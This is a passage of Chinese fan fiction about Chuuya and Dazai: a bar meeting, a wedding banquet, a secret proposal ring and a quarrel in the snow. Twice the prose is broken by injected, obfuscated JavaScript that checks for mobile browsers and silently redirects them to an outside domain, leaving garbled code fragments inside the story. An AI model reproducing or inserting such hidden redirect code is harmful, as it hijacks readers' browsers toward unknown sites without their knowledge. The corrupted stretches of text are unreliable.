对小林中村有意见的人目前为止中也只知道一个,偏偏那个人他没法不偏心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971513|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中也只好硬着头皮答道:“好,我知道了。这段时间辛苦你了,虽然不共事,不过以后要是有什么需要帮忙的可以找我。” “啊,说起来,中也大人似乎还欠我一个人情呢!” 是有这么个事,具体原因中也现在想起来还有点不好意思。 他干咳两声,道:“这么快就想好怎么用这个人情了?行啊,我奉陪。” 中村声音带笑:“当然了,我可是想了很久才想出来一件。在中也大人手下这么多年,还没和您一起喝过酒呢!所以我决定,让中也大人请我喝一次酒!” 中也还以为对方要他帮忙什么的,没想到是件这么简单的小事,反倒有点不确定了:“这个吗?” 电话那头的人点点头:“对啊,和干部大人单独喝酒的机会可并不多,其他人知道了一定会很羡慕我!” 这种小事有什么好羡慕的,不过中也一向一言九鼎,答应的事情从不反悔,换了身衣服就打算赴约。 他对自己的酒量很有自知之明,为了不出什么意外,中也把约会的时间地点和估计的结束时间都发给太宰,十分不客气地使唤人,让太宰结束了过来接他。 - 酒馆是从前常来的酒馆,隶属于黑手党的产业。 两人刚坐定,吧台后的酒保就把单子递给中也。 这位酒保像是新来的,身高腿长,腰细肩宽,戴着黑色的鸭舌帽和口罩,但单凭身形就能看出来是个盘亮条顺的美人。 中也没憋住笑了。 小林中村打趣:“这位酒保是新来的吧,中也大人很看重你呢,不如改行下海,跟了中也大人去过好日子!一杯‘灰雁’,谢谢。” “别了吧,家里有一位了,来杯‘一夜情’。”中也假模假样拒绝,眼睛却目不转睛盯着那位酒保。 中村:“干部大人点这杯酒意有所指啊!不是家里有一位了?” 中也思索了一下跟着部下们喝酒时听到的那些玩笑话,半开玩笑道:“不是说‘家花哪有野花香’,这位调酒的先生可比我家里那位动人多了,要是愿意的话——” 他话没说完,就看见正在调酒的身影顿了一下,然后毫不犹豫地给他那杯‘一夜情’兑了半杯其他液体,手法优雅迅速,要不是他一直盯着对方还真注意不到。 中也和中村又聊了点其他话题,余光里看见酒保将调好的两杯酒放到他们面前,完成了使命似的准备离开。 中也端起那杯‘一夜情’抿了一口,好啊,原来对方给他兑的伏特加,喝完这杯立马就能醉得不省人事。 “等一下。”他叫住对方,似笑非笑,“我可不记得这杯酒什么时候这么烈了?这可不是我要的‘一夜情’。” 隔着吧台,对方站定,就算看不见脸,也能听出来酒保皮笑肉不笑的语气:“哦?是吗?那您想要的是哪个‘一夜情’?” 灯光流淌,音符跳动,借着高度差,中也终于看见了藏在帽檐和长睫下的鸢色瞳孔。 哟,港\黑幽灵还打两份工呢? 36.心迹 中也很给面子地没有揭穿太宰的身份,心里默默算起时间。 从他给太宰发完消息到他和中村一起到酒吧,估计半个小时都不到,这么短的时间内太宰从Mafia赶到酒吧,还顺便混了个调酒师当当。 要是上班能有这股子干劲,就不用中也天天连哄带骗赶他去上班了。 加了伏特加的‘一夜情’效果出奇得好,没聊多久中也就觉得神志不清,状态迷糊,只能凭着直觉回答中村的话,唯一能清晰感受到的就是来自某处的灼热视线,全神贯注的程度堪比警察盯着杀人犯。 得了,再不告辞他男朋友就要判他出轨了。 中也和中村又闲聊了几句,眼看着时间差不多后,他拒绝了对方送他回家的提议,直言家里人等会来接。 中村离开后,他坐在高脚凳上,倚着吧台准备把杯子里的酒一饮而尽,身后伸出来一只手抽走酒杯,语气不咸不淡:“这么开心,想要一夜情想很久了吧?毕竟‘家花哪有野花香’。” 太宰头上的鸭舌帽和口罩不知道什么时候摘掉了,衣服还没来得及换,依旧是修身的马甲西裤,简单的样式穿在他身上格外挺拔好看,而宛如点睛之笔的脸却一直板着,有几分宁折不弯的倔强味。 中也无端脑补了个清纯男高卖身葬父不得不下海挂牌的画面,配上太宰的脸则格外有喜感,他控制不住大笑起来。 “有什么好笑的啊,真是理解不了中也这种单细胞生物的脑回路!” 太宰恨恨看了眼捧腹大笑的中也,心里觉得很不爽,抬手把杯子里那点酒一饮而尽,越想越觉得不开心。 世界上怎么会有这么讨厌的狗,未经主人允许就擅自跑出家门和其他人玩。狗就应该老老实实待在家里看门才对吧,只需要等主人回家的时候穿着女仆装打开门热情说一句“欢迎主人回家”,然后给他煮好饭铺好床陪他睡觉,哄得他心情好了他也可以勉为其难带小狗出去撒欢…… “太宰。” 中也在叫他,他一定要摆出冷漠的表情让中也知道他很生气。 太宰不情不愿:“干吗?先说好,你想使唤我是不可能的,我绝对不会听你的。” 中也认真道:“你喝了酒,谁来开车?” 事后,遵纪守法的两位黑手党还是叫部下来把车开到了私人别墅的地下车库。 车库距离家门口还有一段距离,扬言绝对不会再被中也使唤的某人熟练蹲到了中也身前。 习惯真的是个很可怕的东西,明明刚才他还下定决心这回一定要让中也自己走回去,但身体显然不听大脑使唤,已经自然而然打开车门做出了要背中也回去的架势。 他可真的一点都不想背中也! 看见太宰在自己面前半蹲下来,中也疑惑眨眨眼,本来想说自己还没醉到那种地步,何况就几分钟的路程一起走回去就好了嘛。 但他思忖了一会儿太宰今天的表现,觉得今天还是不要拒绝太宰比较好,他拉了一下帽檐遮住眼,熟练地躺到太宰背上。 靠的近了,清甜的柑橘香气和微苦的药的味道混在一起,涌入鼻尖。背着他的人似乎有心事,一路上没和他搭一句话,而中也也佯装醉倒,静静享受着属于他们的难得的安静。 中也第一次觉得被背着走这个姿势真是太暧昧了,胸膛贴着后背,能听见对方的心跳,和自己的心跳一样杂乱。 大脑放空后,跳跃的思绪开始发散,他一会想到那份自己始终没有看的报告,一会想到那个阴差阳错的夜晚,一会想到第一次遇见太宰治的时候,感叹时光飞逝,当年那个小屁孩居然一转眼长成这么大一个,一会又考虑起他和太宰治的关系。 简直太离奇了,就算谁也没有明说,但他们这是在谈恋爱吧! 和太宰治恋爱这个认知让中也的大脑宕机一瞬,明明当年看彼此那么不顺眼,因为心里莫名的责任开始同居,那时候只想着这混小子赶紧长大赶紧滚蛋,永远不要再出现在自己的视线范围内,但这样的想法随着对方长大好像越来越少有。 到底是什么时候开始改变的? 是十六岁的时候回到家,发现对方抱着他的外套睡觉?还是十七岁的某个夜晚,回横滨前受了点伤,不知道这混蛋怎么看出来的,嘴上让他死了算了其实心疼得不行,那份不坦诚当时就把中也逗笑了。 笑太宰不坦诚,难道自己就坦诚了吗?中也漫无目的地想。 自己不也一直遮住眼睛捂住耳朵,不敢让太宰治看到心里真正的想法。 但他的心脏其实一直在呐喊:你看啊中也,太宰治在你这从来跟别人不一样,你见到他就会笑,见不到就会想,你会被他的一举一动牵动心神,他随便一个眼神就能在你心里掀起一场吞噬一切的海啸。你没法对他表现坦然,连不在意这种情绪都要靠精心伪装,说出的所有拒绝其实都是谎言。你早就彻彻底底完完全全爱上他啦! 伪装和谎言可以骗过眼睛和耳朵,唯独骗不过心。 心脏早就成了爱的叛徒,它只认太宰治做主人。 而事隔经年,借着一次荒诞的意外,一场美梦一样的发展,中也终于姗姗来迟用坦然面对心脏,被积蓄了不知道多少年的洪流卷进挣扎不得的爱的洋河。 “太宰。” 莫名其妙,没有理由,中也觉得非常非常想要说点什么,就在这个夜晚。 太宰偏头看了一眼背上的醉鬼,就算咬紧牙关捂住耳朵,他还是没法控制自己的本能,他根本做不到无视中也,哪怕一秒都不行。 太宰无奈道:“干吗?你要嘲笑我吗,哼,说吧说吧,毕竟我们大脑发育良好的正常人是不会跟单细胞生物——” “我爱你。” “——计较的。” 两句话的尾音夹杂在一起,像是起了一阵温柔的风,丝线一样裹挟住胆小的灵魂,爱人钴蓝色的眼睛里此刻只倒映着一个人影,赋予他勇气。 太宰几乎忍不住想要开口,你爱的是我还是有着中也伴侣身份的我。 但得到答案要付出的代价太大了,他们这份岌岌可危的关系本来就是他用谎言编织而成,强行让中也承担起不属于他的责任。 语言是谎言的基础,为了不泄密,他只好让自己成为哑巴。 有些话还是留到以后再说,至少要让中也觉得自己无可替代。 看不见摸不着的风吹过,什么也没有留下,今夜过后是明夜。 太宰只看了中也一眼,停顿片刻,背着人往家门口走,若无其事地笑:“中也,你真是喝醉了呀!” - 中也觉得太宰这几天很奇怪。 虽然嘴上不说,但非常风声鹤唳草木皆兵,尤其是中也要出门的时候,更是无所不用其极地阻拦。要是中也告诉他是出门跟朋友去玩,那就有幸解锁限定版年仅三岁的太宰治,恨不得以头抢地装傻装乖,结果是中也要么留在家里要么带他一起去。 中也嘴上骂太宰两句,对他的无礼要求基本有求必应。 他把太宰的一系列行为归于试探他的底线,这是小孩缺乏安全感的表现,如果能让太宰开心,他不介意给出更多时间。 晚上还有个宴会,中也走进衣帽间,对着镜子比划哪个颜色的玲姐更适合他今天这件酒红色的衬衣。 镜子里忽然出现一个鬼魅一样的身影,凉凉开口:“哇哦!打扮的这么用心,干部大人是要出门约会吗?” 又来—— 第一次听见这话的中也暴跳如雷,但现在这话他已经听得耳朵快起茧子了。 中也一口承认:"是啊,好看吗?" 太宰抱臂恨恨:“品味奇差,非常难看。” “哦,随你怎么说。”中也平静道,“过来帮我选对袖口,这对祖母绿的怎么样?” 太宰:“简直太过分了!出去见小三还要我给你选衣服,这种事情我是不会干的!” 中也:“那好吧,就这对宝石蓝的,非常好看,对吧太宰!” 太宰:“哦,还回来吗中也?顺带一提,超级难看的哇!” 中也:“行行行,既然觉得难看那你不要看好了,本来也是给你选的!” 太宰本来已经摆成“大”字形挡在门口,颇有点“一夫当关万夫莫开”的架势,随中也怎么说,反正是不想让中也出门,听见这话才满意笑了一下:“唔,那好吧,既然你这么求我出门,那我勉为其难跟你一起走好了。” 中也抬手看了眼表,距离宴会进场还有两个小时,除去车程,已经没多少时间留在这跟太宰瞎掰扯了。 终于收拾完坐上车,中也随口跟太宰提了一下这次宴会的目的。 今晚要举行的是一场婚宴,主角是和Mafia合作密切的老总 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嘴上这么说,但太宰还是坐在那里一直没动,等到再回头时,他在中也视线里已经变得和酒杯差不多大小,背影看起来很局促,像是很不适应这里的环境,几乎有点坐立难安。 中也怀疑他下一秒就要落荒而逃。 总之,很不像太宰的行为。 “中原先生,好久不见了,刚从西部回来吗?”一人举着酒杯同中也寒暄。 中也收起那些乱七八糟的心思,有一搭没一搭应付着来人的话,人却不知不觉来的越来越多,明明是私人的场合,大家却各自有所图谋,渴望能够和这位身份尊贵的Mafia干部攀上关系。 一个有点眼熟的人问:“中原先生,跟您一起来的那位是——?” 大腹便便的中年人笑嘻嘻道:“新养的小玩意呗,你看那一身纱布,干部大人也太凶了点。” 其余人嘻嘻附和:“就算一身绷带,也能看出来干部大人这位新欢相貌不俗!” 他们这个职业常年游走在灰色地带,金钱,权力,性都是交易的一种,有了金钱地位,养七个八个小玩意解闷也没什么不对,爱或许有,但那也是凤毛麟角,更别提在两个男人之间。 所以众人理所当然认为他和太宰之间不过是简单的金钱和性的交易。 一片嘈杂纷乱的声音里,中也却觉得恍然大悟:难道太宰也是这么想的吗? 因为关系的转变太突然,又没有名正言顺的身份,所以患得患失怀疑自己? 那他现在就可以给太宰一个答复。 中也笑了一下,摇头答道:“滚蛋!不是养的金丝雀什么的,我没有那种东西!他不是别人,是我爱人,太宰治。” 此话一处,满堂皆静,干部大人语出惊人固然恐怖,但“太宰治”这个名字更加吓人,在场的谁没在这位港\黑幽灵手底下得到过血与泪的教训。 众人头顶缓缓冒出一个问号,不是,是那个太宰治吗?我怎么记得好像不长那样来这? 不过这不是中也关心的事,聊了半天,早该回去了,他逆着人流朝另一侧的走去,途径礼台,余光看见有什么东西被抛过来,他眼疾手快接住了。 是一束花。 四周“哇”声一片,无数的目光落在中也身上。 中也少见地有些害羞,对台上的新人微微点头表示感谢,心里闪过一个念头,于是用重力异能控制着花束朝一个人飞过去。 太宰正在出神思考一些事情,有东西砸过来的时候,身体的反应比大脑更快,他冷着脸稳稳接下抛过来的东西,还以为那个小孩恶作剧—— 直到看见被他握在手里的东西是一束花,冷淡的表情才转为错愕。 新娘的伴手花,在场所有人都懂他的含义。 四周又响起一片莫名其妙的“哇”声,里面饱含祝福的味道。 紧接着,那个刚才占据了他全部大脑思绪的脸出现在他跟前,笑得很张扬:“这个花好看吗?” 太宰治吞吞吐吐,不知道该怎么回答,这种时候明明应该露出个非常从容地笑,然后接下中也这句玩笑话,可那束捧花落在他手里活像一块烫手山芋。 阴沟里的老鼠偷走了一块不属于他的美味点心,现在要被拉到聚光灯下,在众人面前斩首示众。 太宰轻轻扯了下嘴角,歪着头认真地问:“中也,你是又喝醉了吗?” 37.戒指 “又说什么蠢话呢!”中也伸手摸了摸他的脑袋,“给你你就拿着,快收收你那一脸蠢样!” 真稀奇,没想到有天还能听到有人评价自己“一脸蠢样”,太宰准备冷笑两声反驳对方,却发现不知道什么时候自己已经在笑着了。 这个笑没有任何目的和算计,全凭那点让自己都茫然的本能。 这真是太不像他了。 太宰双手捧着那束花,干巴巴道:“那好吧,既然是你上供的礼物,那我勉为其难收下好了。” 中也走过去在他旁边坐下,十分自然地伸出手:“啊,这样啊——,那真是太为难你了,是不是还要我感恩戴德朝你叩谢?不要还我。” 太宰哼了一声,把自己的手递过去,那束捧花却还紧紧握在手里。 白玫瑰和茉莉组成的捧花,似乎刚摘下来没多久,白玫瑰娇艳欲滴的花瓣触感柔软,含苞待放的茉莉生机勃勃,稍一低头就能闻到淡淡的清香,它们还有个非常肉麻的寓意:相濡以沫,白首不离。 不过那种事情真的可能吗? 爱这种虚无的东西,靠的是人的本心,但人的生命每一刻都是不同的,就像人体细胞每天都在衰老、死亡,二十一天代谢一次。容貌声音性格感受更是每天都在变化。 交付了爱能维持多久,一天?一月?一年?万一中途有人要放手怎么办,万一中也和他说爱上了别人、要和他好聚好散,万一…… 太多太多万一,给这份爱写上了一万个不确定的因素,更何况这份偷来的安逸下面还埋着一颗定时炸弹,如果中也知道了那件事呢,会说要放弃他吗? 这些念头光是想想就让人发疯,想要小狗不离开,只有给他套上坚硬的锁链,链子的另一端死死拴在自己身上,哪怕小狗发疯了要垂涎撕扯下主人的皮肉骨血,他们也不能分开。 “太宰治!!!” 怒音如惊雷一样炸在耳边。 太宰转了下眼珠,不动声色装作困倦的样子:“中也好吵啊!好烦,都不能好好睡觉了。” 说话间,他才注意到周围的环境从宴会厅变成了熟悉的车后排,高级商务车正在路上行驶,横滨的夜景如十倍速电影一样在车窗上闪烁。 中也喋喋不休:“混蛋,下次绝对不会带你来了!你就在家睡到死吧!” 太宰:“真的吗?中也你可真是个大好人,那我可以把Mafia的工作辞了吗?” 中也:“港\黑可没有辞职这一说!还有,你这家伙到底有没有在听我说话!无视人也要有个底线吧!” 太宰打了个哈欠做遮掩:“太困了,一直在睡觉哦。一个字都没听到呢!不过想想也知道中也平滑的大脑问不出什么……” “我问你喜欢白玫瑰还是喜欢红玫瑰。” 太宰大脑飞速运转,瞬间冒出一个不可思议的念头,嘴唇张张合合,发出了一声疑惑的“啊?”,然后又如同死机一样一言不发。 他在沉思。 中也问他这个问题,是他想的那个意思吗?中也不会是要—— “喂喂,这怎么又不说话了你!真是的,好歹给我个回答啊!”中也不满地抱怨道,“说起来,今天晚上你兴致一直不高,不开心三个字简直要写脸上了?你是有什么事瞒着我吗?” "没有!"太宰想也不想否定,又假模假样抱怨起来,“还不是中也非要带我参加这种无聊的聚会,简直就是浪费我的时间,不开心也是理所当然的吧!” “……哈?我强迫你来?有本事你下次别在我面前晃悠,真是闲的没事找架吵是不是!” 中也显然很生气,懒得再搭理太宰,靠在皮质椅背上,扭头欣赏窗外夜景,太宰只能看见半张冷着的侧脸,霓虹灯光偶尔路过,勾勒出干部大人柔和的下颚线条。 令人闻风丧胆的重力使大人长了张眉清目秀的娃娃脸,生起气来也很没气势。 太宰知道是自己说话惹得中也不开心,有心想要哄一哄对方。逗中也开心是件再简单不过的事情,毕竟他从不对自己真正生气。 手伸到一半,又顿住,到最后太宰也只敢碰了碰中也黑色大衣的衣摆。 他很害怕中也再跟他讨论有关婚礼,鲜花,戒指的任何事情,这种恐惧深入骨髓,比Mafia审讯室里残暴的审讯手段更让他害怕无措。 “啊算了算了,我就不该跟你这种人计较。”刚才还在生气的中也嘟囔两句,又下命令一样问道,“你觉得这次婚宴看起来怎么样?不回答今天就滚去书房睡!” 见中也又搭理自己,太宰笑了一声,胸有成竹似的伸出手指点评:“人多,吵,音乐鲜花也都不怎么样?不过中也为什么一直问我这个,难道要给我准备什么惊喜吗?先说好,我是绝对不会答应的哦,真的不会!我一点也不想要这样。” 确定关系这种事太宰一点也不想敷衍,至少,至少要等到他和中也把话说开,完完全全没有任何隐瞒,这样他才觉得自己这样的人也能和中也建立一种更加亲密深刻的关系。 一定要非常盛大,浪漫,让小狗终身难忘,就算以后会落幕记忆也足够深刻。 中也嗤笑一声,斩钉截铁回答道:“少做白日梦了,我才不会给你准备什么惊喜!” - 中也撒谎了。 他确实要给太宰准备惊喜。 至于太宰嘴上说着什么不想要不喜欢啊,中也完全没在意,太宰那个人说话就是把不要当逗号使,要真是把他的话当真,估计他又要阴阳怪气说什么中也简直是笨蛋事白痴之类的鬼话。 简直太可恶了! 中也大人不记小人过,不仅不跟太宰计较,还偷偷摸摸联系了几位知名珠宝设计师定做求婚用的戒指。 要瞒着太宰做什么事可真不容易,不知道这小子最近吃错了什么药,控制欲简直强到变态。中也每天穿什么衣服,什么时候见什么人他全都要管控,大到人际关系小到呼吸节奏,没有一件是太宰不知道的。 如果中也愿意问问,说不定还能从太宰嘴里问出来他一顿饭吃几粒米。 幸好他足够了解太宰治,还是瞒着太宰治顺利拿到了定做的戒指,艰难程度堪比地下党接头。 中也把那枚躺在掌心的戒指举到眼前,素色的细环上镶嵌着淡蓝色的细碎的钻,在灯光下流光溢彩,宛如与天相接的海面。 中也望着戒指弯着眼睛笑了一下,脑海中已经想象到它戴在那双苍白修长的手上,一定非常好看。 天气预报说今晚八点点横滨将会降下第一场大雪,那就今天吧,约太宰一起出来吃顿晚饭,回家路上正好有一段可以并肩一起走的安静道路。 万籁俱寂时,只有两个人的风雪夜,他要给太宰一个一生并肩的承诺。 中也心里预演了一遍求婚的相关事宜,趁着工作的空隙给太宰发消息。 【zyzy:太宰,晚上我定了餐厅,六点半】 【zyzy:[位置信息]】 消息刚发出去,对面秒回。 【青花鱼:咦?人家都已经准备好晚上的菜谱了。】 【青花鱼:难道中也是嫌弃我做饭难吃吗?】 【青花鱼:猫猫大哭.jpg】 【青花鱼:我要失业了吗?明天中也是不是就要带回家一个年轻貌美会做饭的小三回家了?】 中也扑哧笑出声。 也不知道太宰治给自己安排的什么剧本,让他去Mafia工作就懒懒散散,整天在家钻研厨艺,一副誓要成为贤夫良父的样子,但此人唯一的短板可能就是做饭,即使钻研多日也是一如既往难吃的要命。 还好中也不挑食且身体健康,只好关闭五感使劲溺爱。 中也熟门熟路哄: 【zyzy:菜谱留着明天吧】 【zyzy:没失业,谁敢跟你这家伙抢饭碗啊!】 【zyzy:今天心情好,准备和男朋友约会,来不来?】 【青花鱼:那我要是去了,你男朋友不会生气吧?[泪眼汪汪]】 【zyzy:放心,他不会知道的】 这句话发出去的下一秒,太宰治的电话就打了过来,按下接通,对面人吵吵闹闹的声音透过电话传入耳膜,不仅倒打一耙还恶人先告状:“太过分了简直太过分了啊中也,我就知道你要出轨了,哼,肯定对象都已经选好了吧。” 此时中也正身处战场中心,刚结束一场恶斗,敌人爆出来的浓烈的鲜血在中也脸上划了浅浅一道痕迹,有部下来询问中原干部敌人尸首是否全部销毁。 中也一只手举着电话,一只手漫不经心擦去血迹,神色冷漠地对着部下点头后,偏过头去轻轻嗤笑:“滚蛋!少污蔑我了,我就一个男朋友,叫太宰治。” 电话那头的人露出满意的笑声,还非要装模作样:“哇哦!好巧,我也叫太宰治。” 中也无语:“你就是等着我说这个吧!好幼稚,不说了,现在有点事,晚上见。” - 与此同时,干部家中。 某坨摊在沙发上的黑色不明物体心满意足挂了电话,三下两下从客厅跨步到衣帽间,开始认认真真挑选衣物。 虽然知道自己有张捕获小狗专用的脸,但所谓人靠衣装马靠鞍,太宰治抱着今天一定要迷倒小狗的决心在衣帽间精心准备了一下午。 既然是约会,那要不要准备一束花呢? 一转眼到了晚上约定的时间,太宰治由专属司机接送到约定地点,门口早早有服务生等候着他的到来,殷勤地为他领路。 太宰似乎是不经意地将那束蓝玫瑰背在身后,迈着从容的步子走进大厅的电梯里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992084|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着电梯门缓缓关上。 叮——— 电梯停在十五楼,电梯门缓缓打开,又是一个灯火辉煌的大厅。 里面大提琴悠扬的曲调缓缓流淌,刚好和他踩上旋转楼梯台阶的步调一致。 一步一步,步子缓慢,与之相和的乐声却像是长出了翅膀一样,不受控制地飞跃。 服务生为他推开包间的门,里面没有开灯,只有昏黄烛火摇曳,烛火旁一个人托着下巴看向窗外,落地窗外可以将半个横滨的夜景尽收眼底,外面灯火闪烁渺茫。 听到声音,正在欣赏夜景的人回过头来看他,非常自然地露出一个笑容。今晚中也居然没有戴那顶黑漆漆的帽子,长且微卷的发丝自然垂落在肩头,身上是一件浅灰色的大衣,衬得赭发蓝眼更加耀眼。 太宰治愣了一下才若无其事走进去,别别扭扭伸手把花递给中也:“出门的时候顺手在垃圾桶捡的,很适合你嘛!” “这种名贵的蓝玫瑰也捡的到?鬼才信你!”中也接过花抱在怀里,十分新奇地看了很久,像是想到什么一样莫名笑了起来。 太宰:“哎呀呀——,一束花就收买了,中也果然是小狗啊!居然笑得那么开心。” 中也:“我是人不是狗!真受不了你,我笑也不是因为这个!” 太宰:“那是因为什么?难道是想到了别的人?” 中也:“滚蛋!我是庆幸自己做了一个正确的决定!” 中也说这句话时,嘴角的弧度是十分少见的温柔,就算跟他斗嘴也收着力气,平时三两句话就炸毛的小狗,今天却出奇地好脾气。 小狗转性是不可能的,中也一定有事瞒着他! 太宰心里有了一个猜测,但他又觉得不太可能,中也的性格他非常了解,那件事绝对会等到他们在一起的时间再久一点,搞定了一切之后再说。 而且以中也负责任的程度,那样就算是捆定一生了吧,现在的他在中也心里应该还没有那么重要。 太宰在心里将和中也相处的事情一件件罗列出来剖析,企图分析出现在的自己在中也心里的地位,其精密程度宛如工程绘图,一点一点衡量中也对自己的好感度。 “太宰。”中也下意识叫了一声他的名字,目光却看向窗外,“下雪了,居然比天气预报说的时间要早。好大的雪,回去之后家门口那条小路肯定全白了。” 太宰被那句很轻很轻的“太宰”唤回神,扫了一眼外面的雪景,目光又不由自主落在坐在对面的人身上。 他大概知道中也要做什么了。 - 吃过饭,中也开车带他回去。 车停在车库后,离家门口还有一段距离,需要穿过一条寂静的小路。 雪已经下了厚厚一层,脚踩在上面吱呀吱呀响,中也一手抱着那束花,寻思着时间差不多了,开始在口袋里寻找戒指。 刚才还在大衣口袋里的小盒子此时却不见了踪迹,明明下车时他还特意在口袋里确认过一遍。 怎么可能这个时候丢了? 中也顿住脚步,仔细回忆下车的时候戒指放在哪里了。 明明就在大衣左边口袋里,口袋很深,按理说根本不可能丢才对。 太宰站在中也旁边,状似随意开口道:“怎么了?还有几步路就到家了哦,好困,我们快回去吧!” 中也皱眉道:“东西丢了!明明下车的时候还在口袋里的,怎么可能会丢!” 太宰问:“什么东西丢了?要不我们回去找找?” 中也犹豫了一下要不要说,神色很是为难,纠结半天,开口道:“是一枚戒指,放在银色的盒子里。还是回去找一下吧,我怕晚上雪更大了明天就找不到了。” 毕竟是第一枚戒指,十分有纪念意义,要是混在雪里被人践踏,或者谁家孩子玩雪的时候不小心捡到当作玩具,哪一样都让人开心不起来,不如趁现在雪还不大的时候找一找。 太宰跟在中也后面帮他找东西,有一搭没一搭闲聊:“戒指很珍贵吗?干部大人工资那么高,还手握整个宝石线,想要什么样的戒指不行?” 中也觉得他这话很奇怪,就好像完全不在乎这枚戒指的意义和用途,只单纯考虑它值多少价钱一样。他以为自己说出戒指两个字时太宰应该立马就能猜到是用来求婚的,然后太宰或许嘲笑或许高兴,不应该是这么平淡的样子。 中也直觉开口问道:“太宰,你这家伙——” 他正要问问太宰怎么了,自己的电话却突然响起来,打的是中也的私人号码,他没多想,开了免提接电话。 对面是个细弱柔美的女音,不无哀戚地倾诉道:“中也先生,自从在咖啡店遇到你后,我就无法自拔地爱上您。您的忧郁和脆弱深深吸引了我,我答应您殉情的请求,就在今天晚上九点。” 38.吵架 听见“殉情”两个字,中也的脸色立马变得很难看,想也不用想就知道谁才是那个邀请美女殉情的罪魁祸首。 中也恶狠狠瞪了太宰一眼,直接无视对方张口想要说些什么的神情,背过身去跟电话那头的女声交流:“喂喂,别想不开啊!” 柔美的女声似乎在哭泣,轻轻说了一句“我想开了,我等你”,似乎完全没有听出来此中也先生并不是她心里挂念的那位“中也先生。” 电话被挂断了,再拨过去已经是关机。 中也迅速拨通侦察部负责人电话,让他们根据电话定位刚才女人所在地,又回头问太宰:“你们经常约会的地方在哪?” “根本没有这回事啊!”太宰表情惊讶,似乎真的是被污蔑了,十分受伤的样子。 中也现在没空跟他计较这个,耐着性子问:“地方在哪?” “西大冈川上游,幸原咖啡店往前直走。” 中也复述了一遍这个地点,剩下的甚至不用吩咐,部下早有经验,完成了自然会向中也汇报。 任谁上一秒还在想着怎么向爱人求婚,下一秒发现爱人背着自己跟别人调情,心情都好不了。 自己和太宰确定关系也该有半年了吧,以前太宰那些轻浮作风他没资格管,但既然已经是确定关系的伴侣,那就必须对彼此忠诚。 中也私心里相信太宰,收了手机就转过来目不转睛盯着他,开诚布公道:“解释一下,为什么拿我的名字约女人?” “没有约!”太宰治强调,“应该是某次任务对象,为了接近监听的一点小手段而已。” “……哦,非要这么轻浮?”中也低头盯着两人黑色的鞋面,叹了一口气,“算了,也不是第一天知道你的作风。” 既然太宰解释了,他就愿意相信太宰,反正不是什么触及底线的大事。他也知道太宰治这人就是嘴上把不住门,不管男的女的活的死的,到他面前了总要开口点评两句,而太宰的话总会滑向两个极端,要么是轻蔑的嘲讽要么是暧昧的词句。 操心师的话最好一个字别信,你以为他三分感情能说成十分,其实打开他的心底一看,一分感情都没有,还靠着谎话把人耍的团团转。 中也低着头宽慰自己,目光一直盯着纷纷扬扬落下的大雪,太久不动的话,雪马上就要遮住黑色皮鞋的鞋面,细雪飘进大衣和围巾的缝隙,在温热的肌肤上融化成水,中也才后知后觉觉得有些冷。 去他大爷的,中也根本骗不了自己,他就是在意! 中也觉得这口气吐不出来也咽不下去,正组织措辞思考该怎么说,耳边先传来太宰的质问:“什么叫算了啊!这也算了那也算了,其实本质就是这些东西中也你一点都不在乎吧!你不关心我和谁在一起,心里想的是什么,对我好也只是因为你的责任心,其实换了谁来都可以吧!” 中也简直没想明白他是什么逻辑,自己先出去勾三搭四,完了还要骂他人尽可妻,搞得好像他是什么很轻浮的人一样,不好好解释就算了还要倒打一耙。 怒极反笑,中也掀起眼皮凉凉看了太宰一眼,舌尖擦过上颚滚出一声嘲讽十足的笑,手放在大衣口袋里,随意换了个站姿:“去你的,你那只眼睛看见我勾三搭四了,整天不是你自己给自己找一堆假想敌,老子有分寸得很!……哈,我说你怎么整天怀疑我这怀疑我那,明明你这家伙自己才是那样的人吧!” “我才没有!”太宰治看起里似乎很生气,还有点难过,“中也简直就是白痴,居然为了这种事情怀疑我,明明从……之后就再也没有了!” 最后几句嘟嘟囔囔,散在风里,中也没听清,觉得这些话简直越聊越偏,再多说下去也只会让他们两个更生气,于是他问出那个他最想问的问题:“你觉得现在我们是什么关系?太宰,看着我的眼睛,不要对我撒谎。” 撒谎两个字霹雳惊天,太宰治的话语瞬间顿住。 路灯投下惨白的光,雪花在光下翩翩乱舞,又在重力的指引下落在地上、花园草丛上、枯树的枝干上,不过短短三个小时,四下已经是一片虚无的银白,唯一的亮色是中也赭色的发丝,带着怒意的蓝眼睛。 中也在等他的回答,一个纯粹的、没有任何谎话的回答。 可这段他怎么抓也抓不紧的关系就是建立在谎言之上,没有谎言他就什么都没有,等待他的只有和中也分道扬镳,然后作为同事见面合作时不咸不淡的问候。 那样绝对不可以! 太宰伸手想要抓住中也的衣摆,他太需要实际的具体的东西,太迫切想要抓住中也的一切,而中也只是轻巧避开,扬着眉等待太宰的回答。 期望落空,身体上传来陌生的疼痛,太宰治十分缓慢又十分认真地说:“中也,我们的关系只有你能决定。” 中也微微睁大眼睛,看起来十分疑惑,接着若有所思道:“这样吗?” 他把手从大衣口袋里拿出来,举起左手对着光比了一下,黑色的皮质手套贴合着细瘦指节,骨骼形状清晰可见,无名指根部有一圈明显的凸起。 中也慢条斯理把左手的手套脱下来,品质上佳的蓝色碎钻在光下流光溢彩,而中也慢慢褪下无名指上的戒指,很珍视似的在掌心握紧。 接着,他捏起戒指,轻巧地在太宰面前抛起。 